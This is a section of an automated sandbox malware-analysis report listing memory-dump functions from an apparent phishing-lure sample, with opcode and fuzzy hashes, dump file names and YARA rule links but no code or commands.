Instruction ID: cbcc2ef75d09dce112ab92d98dcc52787bf7ffb34d610a8c99afc91afd7e91b5
Opcode Fuzzy Hash: cd560823762e19e61abc45cdb2ca50784e6aee1819d15818364939c10ce19501
Instruction Fuzzy Hash: 1BF0F636B100146FC7249A19D8549AFB7ADEBC8220F054026F919D7320DE709D56C7E1

Function 0648DB68 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2cc14786d9cf720121f5f8b2a4e83f6879453f91ade7eb627b3b99d2a001613
Instruction ID: 152ed38169f3b6efb8763ec9d2b7b36aece7d7b2ccd3cff275c1677b0e30f7f8
Opcode Fuzzy Hash: c2cc14786d9cf720121f5f8b2a4e83f6879453f91ade7eb627b3b99d2a001613
Instruction Fuzzy Hash: 35F0A4393002009FC3059B15D854D6B77AAEF89721B1480AAFA56CB7A1CA35DC42DBA0

Function 06794395 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a71be88b58e6005f919bbcfa493e305009ba67e4f7a00ff06ddc0640a0b06c
Instruction ID: 2b9ab748c982fb8a65604e88c178b12540c4936e0c43f3eef2f480f84ba5b874
Opcode Fuzzy Hash: d1a71be88b58e6005f919bbcfa493e305009ba67e4f7a00ff06ddc0640a0b06c
Instruction Fuzzy Hash: 9511BD74E86229CFEBA8DF28D898B99B7B1FB48314F1040E9D509A3345DB349E80CF00

Function 065B6EA1 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24106aa7bbbba5a98976cd011a20bbbf3b7230806c3086947b0b44877d55b075
Instruction ID: dc2367b804cbaf17c011c39d1cd3c82237814d9efff7440ce4ca2caa7de2610f
Opcode Fuzzy Hash: 24106aa7bbbba5a98976cd011a20bbbf3b7230806c3086947b0b44877d55b075
Instruction Fuzzy Hash: 7C01E8B4C05219EFCB95DFA8D9546EEBBF9FB49300F1054AAE404A3251E7305B40CF91

Function 0648DDF0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d54b9da34aac430d366b3ab753c93a7bfde6cfc805e440b1ac997620d09e42e
Instruction ID: c96d4a91e5cc64180ea06bd4e34ddd577a8519a9011f2c0fd59f66a02368b09d
Opcode Fuzzy Hash: 7d54b9da34aac430d366b3ab753c93a7bfde6cfc805e440b1ac997620d09e42e
Instruction Fuzzy Hash: 47011D393006149FC7099B25E468A1EB7A6FFCD722B108579EA0A87794CF75EC42CBD4

Function 06480A00 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceed1e20ec194fd1dcdfc1099d4c0f31b54a782d90867c048b07612f7f40c230
Instruction ID: a4f964df7e322bf93dca63142226352c2fc88266f141a38fa20d881e7b9af24c
Opcode Fuzzy Hash: ceed1e20ec194fd1dcdfc1099d4c0f31b54a782d90867c048b07612f7f40c230
Instruction Fuzzy Hash: 9AF02BA2F0E3909FF3562338681032E7BA19B86904F1440ABC1828F2D2DA86984BC351

Function 064809A8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e73d284efddf716aa1e0af8576d055d50c34b97f70490bf45fd7673d2e1f391
Instruction ID: 6d2ea087f05c4c68fc896eaaa375aea4ec72e4c554c44c45cdf5d18fc9794eef
Opcode Fuzzy Hash: 8e73d284efddf716aa1e0af8576d055d50c34b97f70490bf45fd7673d2e1f391
Instruction Fuzzy Hash: 3BF0B472F052215FF3195A18A81472FB7A9EBC9B20F14443AE5459B391CAA2AC41C784

Function 06482C4F Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e10a6b540e7533bed1892c0452bcaa2adf13acfd9760e1b45e322ddd4705fb79
Instruction ID: f5ac00e13b9db8f5c8815412ae9791c1a132a2171ce2915d602351931bea8bdf
Opcode Fuzzy Hash: e10a6b540e7533bed1892c0452bcaa2adf13acfd9760e1b45e322ddd4705fb79
Instruction Fuzzy Hash: C4F09031A05758AFD706DBA4A4486EEBFBADF45124F0481AAE04693252DBB40E81CB95

Function 067AFEC0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094733ff3376fcd4f6b04316daddb4e92b1c007af773b2e86ef8228d79828ffb
Instruction ID: 21ea39000e8e4bfb3da126d3b34573c2c80257ab390e3f485ce88dafa632ffdf
Opcode Fuzzy Hash: 094733ff3376fcd4f6b04316daddb4e92b1c007af773b2e86ef8228d79828ffb
Instruction Fuzzy Hash: F0F0E5317103048FEBA56B749C0472BB3E6EBC2610F50417EE6169B280EE7ADC01CF80

Function 065B6EB0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf102416c2f589949ace210f1a3e89531b3921e55f90469915fa205c65ea08f4
Instruction ID: eabd186ec2d043029b75a02af88a513b6ca4c1de139f6abd6f927a1df2e2a2ab
Opcode Fuzzy Hash: bf102416c2f589949ace210f1a3e89531b3921e55f90469915fa205c65ea08f4
Instruction Fuzzy Hash: 06F0C474D05219DFCB94DFA8D9456EEBBF9FB48305F1055AAD809E3240EB305A40CF91

Function 065B7352 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f1f75d6a01dd3db0c650f85e5e1f9bbce2b66fa4f29ae882e143dbcdb55700c
Instruction ID: eec16818fb4aa0c4446f74c08ef5afe58f91aa670a2576b677f2de2a7d99db44
Opcode Fuzzy Hash: 0f1f75d6a01dd3db0c650f85e5e1f9bbce2b66fa4f29ae882e143dbcdb55700c
Instruction Fuzzy Hash: A5F0F434D09248EFCB51DFA4D8409ADBBB4BF8A305F1091EADC58A7362E6358A10CF91

Function 06560280 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa29ecc0545eb8c5946c97b74e7ace4dba1be8c6c717e29dd3c5514f2600fc5
Instruction ID: 2912ce743081a7a47af3e6c079ffbd0573c567aa09c10db72b4a8db7298f56de
Opcode Fuzzy Hash: afa29ecc0545eb8c5946c97b74e7ace4dba1be8c6c717e29dd3c5514f2600fc5
Instruction Fuzzy Hash: 12F05E74809248BFD751DF55DD00EBABFBCEB4A204F1080AAFC8493241CA355E46DBB1

Function 01380DC8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f73599fd05fd3ace8335b8d92536b7123a57dd974356f787388e0dc3c67f92
Instruction ID: 30ea7724c174c665982ce58d387f9090b79b4ccb2edea10731b60f15184bcf0a
Opcode Fuzzy Hash: 03f73599fd05fd3ace8335b8d92536b7123a57dd974356f787388e0dc3c67f92
Instruction Fuzzy Hash: 34F06572604214AFD716DBB8E8415DA7FEDEF49324F2004BBE94CC3641E972D944C7A0

Function 065B7397 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59a0adac3f859711264f67dd6fb505dfc9669b594c8eb2214843908779be6f86
Instruction ID: 0feb96c72922d7a5472562b9da614ee85fe4296b0e92ea0e045b669bfa330a58
Opcode Fuzzy Hash: 59a0adac3f859711264f67dd6fb505dfc9669b594c8eb2214843908779be6f86
Instruction Fuzzy Hash: 68F03A74D09288EFCB94DF78E8549D97BB8AB4A200F1091EAE80493356D6349A44DF62

Function 06481541 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15182632d351126b4bca6a4ffbfc416519814b91c252374d44fa1d9e3700ea8a
Instruction ID: ee9f8fd91cd1a8405a27ab9799697be673b122d1fba691c3156bfa6f0ab0d1a5
Opcode Fuzzy Hash: 15182632d351126b4bca6a4ffbfc416519814b91c252374d44fa1d9e3700ea8a
Instruction Fuzzy Hash: F0F0A7317453449FCB85DF199940C6A7B79EF5A31630041ABF455C7111C2258D15CB50

Function 0648DB78 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 568fc416c3ce9cba870f0b6f194e9d998ddb761226d81e21b7042500b0a6f490
Instruction ID: 68af2ed7e8e4ea044c5508800e4448d49aef9950ea20c9b622b2ee14ae129d93
Opcode Fuzzy Hash: 568fc416c3ce9cba870f0b6f194e9d998ddb761226d81e21b7042500b0a6f490
Instruction Fuzzy Hash: E9F0DA393006009FC7149B19D858D2BB7AAEFC9721B15806AEA568B7A0CE71EC42DB90

Function 0679209E Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 178098637d6820ce6262d3175d696814229696c5d30902c848224c90bb23bb1d
Instruction ID: 74e740ff6ad622dad26a7011e8600b9b7cb04add8c428d181b6de1fdd0af63b4
Opcode Fuzzy Hash: 178098637d6820ce6262d3175d696814229696c5d30902c848224c90bb23bb1d
Instruction Fuzzy Hash: 4901A578A002298FCB64EF28D994AC9BBF2FB48314F1081E9E519E7755DB349E80CF40

Function 06489BD0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d11dae06d41c72c8dd15c14756bc87f5ae18d0e048bc379c9c4e3396d6a1a82
Instruction ID: 0931a0e012c7f62060dc2238668ca753b67b1adaca009a247c483faf863335f7
Opcode Fuzzy Hash: 4d11dae06d41c72c8dd15c14756bc87f5ae18d0e048bc379c9c4e3396d6a1a82
Instruction Fuzzy Hash: 6CE02B2130E6A09FE7611B2C6C9057BEED5EBC6520B44007FED4AC3349C640CC81C3E1

Function 0138E1C0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cba375b7ced905040c9895345328f5366789170c6506e5d3c0acae4651b6525
Instruction ID: ff1dd79bd2bc168ac5bd9f8adb5f31f7f66837faabc29c8ae1faaa7680968879
Opcode Fuzzy Hash: 4cba375b7ced905040c9895345328f5366789170c6506e5d3c0acae4651b6525
Instruction Fuzzy Hash: 44F01C34909258EFCB51DFA8E851AD9BFF9AB45204F14C0EAE844A7342C6355A15CFA2

Function 06560141 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e440fa2a29b6e482ea38398c8e8bd7f8519a49ad272f85b0c77c62cd15f62b15
Instruction ID: 77317343c0059b1b1f14c2ecd8734541b9d5b6f66f9004398767a6136cc7be1f
Opcode Fuzzy Hash: e440fa2a29b6e482ea38398c8e8bd7f8519a49ad272f85b0c77c62cd15f62b15
Instruction Fuzzy Hash: ABF0A030C09258FFC755DFA1DD01AAEBFB8EB86344F1480EAE84457382C6358A41DFA1

Function 0138F418 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a1905dc6b1abd22e1be5329aad70de1f39e9e42f8ff116c9f4f1df557c3954f
Instruction ID: 5e8e97ff04bb8eb417dc3bee766d25c2e2e2c260b21b5985e0dee812da0cb476
Opcode Fuzzy Hash: 0a1905dc6b1abd22e1be5329aad70de1f39e9e42f8ff116c9f4f1df557c3954f
Instruction Fuzzy Hash: C9F0A034409208EFCB00DFA8E9409A9BFB8AF46304F10819AEC4067341C6315F55DBA2

Function 06484C78 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf8c1f77a1b38e5fd26da4a9d44a8ab6f210407ce2182d5df1fdeea5312a5913
Instruction ID: 6b0613edf3808a85a90d56ea2315c2c93eeff0d2c1442fdf9ac1dcadf68fbc05
Opcode Fuzzy Hash: cf8c1f77a1b38e5fd26da4a9d44a8ab6f210407ce2182d5df1fdeea5312a5913
Instruction Fuzzy Hash: 4FE068302093045FD7A373B15C01BA737EC9B06310F1500ABE6548F283D4529C42C371

Function 065B28B8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a8d8f65fba355c3a892e79080968432e754954cf6e6c71b1b4e7064a75b857
Instruction ID: 15e0e73b8121b58ac2044247dda47ca2bec00dce8b22f6e82d1b1f37ff199c1d
Opcode Fuzzy Hash: 28a8d8f65fba355c3a892e79080968432e754954cf6e6c71b1b4e7064a75b857
Instruction Fuzzy Hash: 3EF0F874D04248EFCB90DFA9D841AADBBF8AB48201F14C0AAA858D3241D6399A55DF60

Function 06560A80 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3eb0550a7f85c6550bed17522036f6d9dc5d8d5bea0996bb9f12d10effe785
Instruction ID: 93557e260874c79b58957073a45189daeb73a155b17c1f704181cf9010804a4d
Opcode Fuzzy Hash: 4f3eb0550a7f85c6550bed17522036f6d9dc5d8d5bea0996bb9f12d10effe785
Instruction Fuzzy Hash: A9F0ED34809388EFC750EFA4D800AADBFB8AB42300F1480DAE88413282DA311A06CFA1

Function 0138F3D0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d96b8b42c3aa95ceee5e8a68f696247cec09f78dfb12e659a50684ae05a80f
Instruction ID: d86ec18738e3fea21d71b75e807260dfa7c4384be60893e93fa60aca6dc1aa66
Opcode Fuzzy Hash: e5d96b8b42c3aa95ceee5e8a68f696247cec09f78dfb12e659a50684ae05a80f
Instruction Fuzzy Hash: 74E09230109344EFDB56EBA0D450DA97F78DB86318F2495CAD8449B3A2CA724E57CB61

Function 0138D898 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee1bf33e3a66265230e0c2ba62d4cf1cb37b66c4b8696dd4a87aafa7fd3cfd3
Instruction ID: 99a1b395b33db1e4e4a2fe5d999b2a53fa778b811e81ab9b06d3e9f61e4c0b7e
Opcode Fuzzy Hash: 3ee1bf33e3a66265230e0c2ba62d4cf1cb37b66c4b8696dd4a87aafa7fd3cfd3
Instruction Fuzzy Hash: 4EE02B3050D348EFC751EFA4D8409A97FBCAB42304F1080EDD80827282CA315D05CB72

Function 01381DE7 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb5a6580655e74d6bc3c9c552c7e162f5ca9a97ca97584df4fcfb545f590a8de
Instruction ID: b65398d07b033ee2abaaffe876d81cad487dc26aaae9b00798a8371873e178fa
Opcode Fuzzy Hash: fb5a6580655e74d6bc3c9c552c7e162f5ca9a97ca97584df4fcfb545f590a8de
Instruction Fuzzy Hash: FEF08C30905288EFCB61DFB4E801A9CBFB5FF42304F6081EEC44997145D6321E05CB41

Function 0648047F Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c1b802495b9142e8679c6206a6649924d427bf085bd28b07f8caf6d7cbb802c
Instruction ID: a639c55fb4a99c8cf277f05a5b088589aeafd67f2ca3d0ba4499979fa2a33541
Opcode Fuzzy Hash: 1c1b802495b9142e8679c6206a6649924d427bf085bd28b07f8caf6d7cbb802c
Instruction Fuzzy Hash: 26E09A30A01208ABDB00EF74A905BAE7BFBEB85610F0042A9DA159B245DA725F009B91

Function 0648A038 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d31320db97b6bb544e8b0ef06c6b9aa1246c50988960eab762b1c6db964beb3
Instruction ID: 595fb338d8538f75ed089b4a0c4bf2d7310842a15fa70b8d8091bbe63236c8fa
Opcode Fuzzy Hash: 2d31320db97b6bb544e8b0ef06c6b9aa1246c50988960eab762b1c6db964beb3
Instruction Fuzzy Hash: B9E09A713003094BC7109B2AE88894BF79AEEC5625700CA3AA14B87621CEB0AC468AA1

Function 01388B6A Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d188d4c270de5e6a8ddcdecd3635826ea3b01827be0c503871fedf0b43c63788
Instruction ID: 4a99eeab7b5809c3b98f061f704412a4fb685dc5d7a028b1d5a8ce88cde232e9
Opcode Fuzzy Hash: d188d4c270de5e6a8ddcdecd3635826ea3b01827be0c503871fedf0b43c63788
Instruction Fuzzy Hash: C9E046B180131CEFDBA1EFE4DC49BDB7BBDEB8A305F0005A9E50597110EE314A449BA6

Function 01389BD0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d1b76f5ec74ae6aa3c1dd23e92cd5b9dc638b2f53147fc1d69ced773196683d
Instruction ID: ede68841e492d7fa79c8aa91f360656b355076195e58cae6da1c954d11d26701
Opcode Fuzzy Hash: 8d1b76f5ec74ae6aa3c1dd23e92cd5b9dc638b2f53147fc1d69ced773196683d
Instruction Fuzzy Hash: 67F0A574D04208EFCB95EFA9D440AACBBF9EB88304F50C0AA981893350D6359A55DF41

Function 065601E8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f246ab7350b36a45622214893f64b829962bb927e02a8ac8578f78d30ff143dd
Instruction ID: 75cdc14312c4500057668b369d587eb9f9f3c0c23a67715822b0547d5d699aef
Opcode Fuzzy Hash: f246ab7350b36a45622214893f64b829962bb927e02a8ac8578f78d30ff143dd
Instruction Fuzzy Hash: FAF01535904208EFCB80DF94D940AADBBB5FF48300F10C0AAEC1953351D7329A21EF81

Function 0138F232 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac06d1cdb0b9a5efdb4d50c0e99b412abd6fa3ddb1d7c4fc74172bb79c182895
Instruction ID: 4bc054a8766a5a7868add903df9bee7ec659fd88826fadecc40bcf3aea4853ab
Opcode Fuzzy Hash: ac06d1cdb0b9a5efdb4d50c0e99b412abd6fa3ddb1d7c4fc74172bb79c182895
Instruction Fuzzy Hash: 40E08638908208EBCB54EFA8D945ABDBBBCEB89309F1091ADD80817384CB315D45DF91

Function 01388B22 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbc0f73b681549adfb0280dfc9043378de05362eb7f46f20ec9f0c6272a49f6a
Instruction ID: 9e5578a9ceaaa992bfb93c3a848d91b65cfe42db5b8650790485bd3b665ba81a
Opcode Fuzzy Hash: bbc0f73b681549adfb0280dfc9043378de05362eb7f46f20ec9f0c6272a49f6a
Instruction Fuzzy Hash: DEE08CB24063489FD792AFB098018AA3B78EE8724470401D2E5459A060DE200E14A7B2

Function 067A9098 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40dff3c69210f5271ea0ee66692456e00acb6f4ee90902c54b01243131769882
Instruction ID: 53bdc8bc213f44396488b115cdf9622201e3856bc81f6b4571ae7f8f804da500
Opcode Fuzzy Hash: 40dff3c69210f5271ea0ee66692456e00acb6f4ee90902c54b01243131769882
Instruction Fuzzy Hash: 7FE0C274E14208EFCB94EFA8D440AADBBF5EB88300F10C1AA9908A3340D6359A51DF81

Function 067A4F08 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

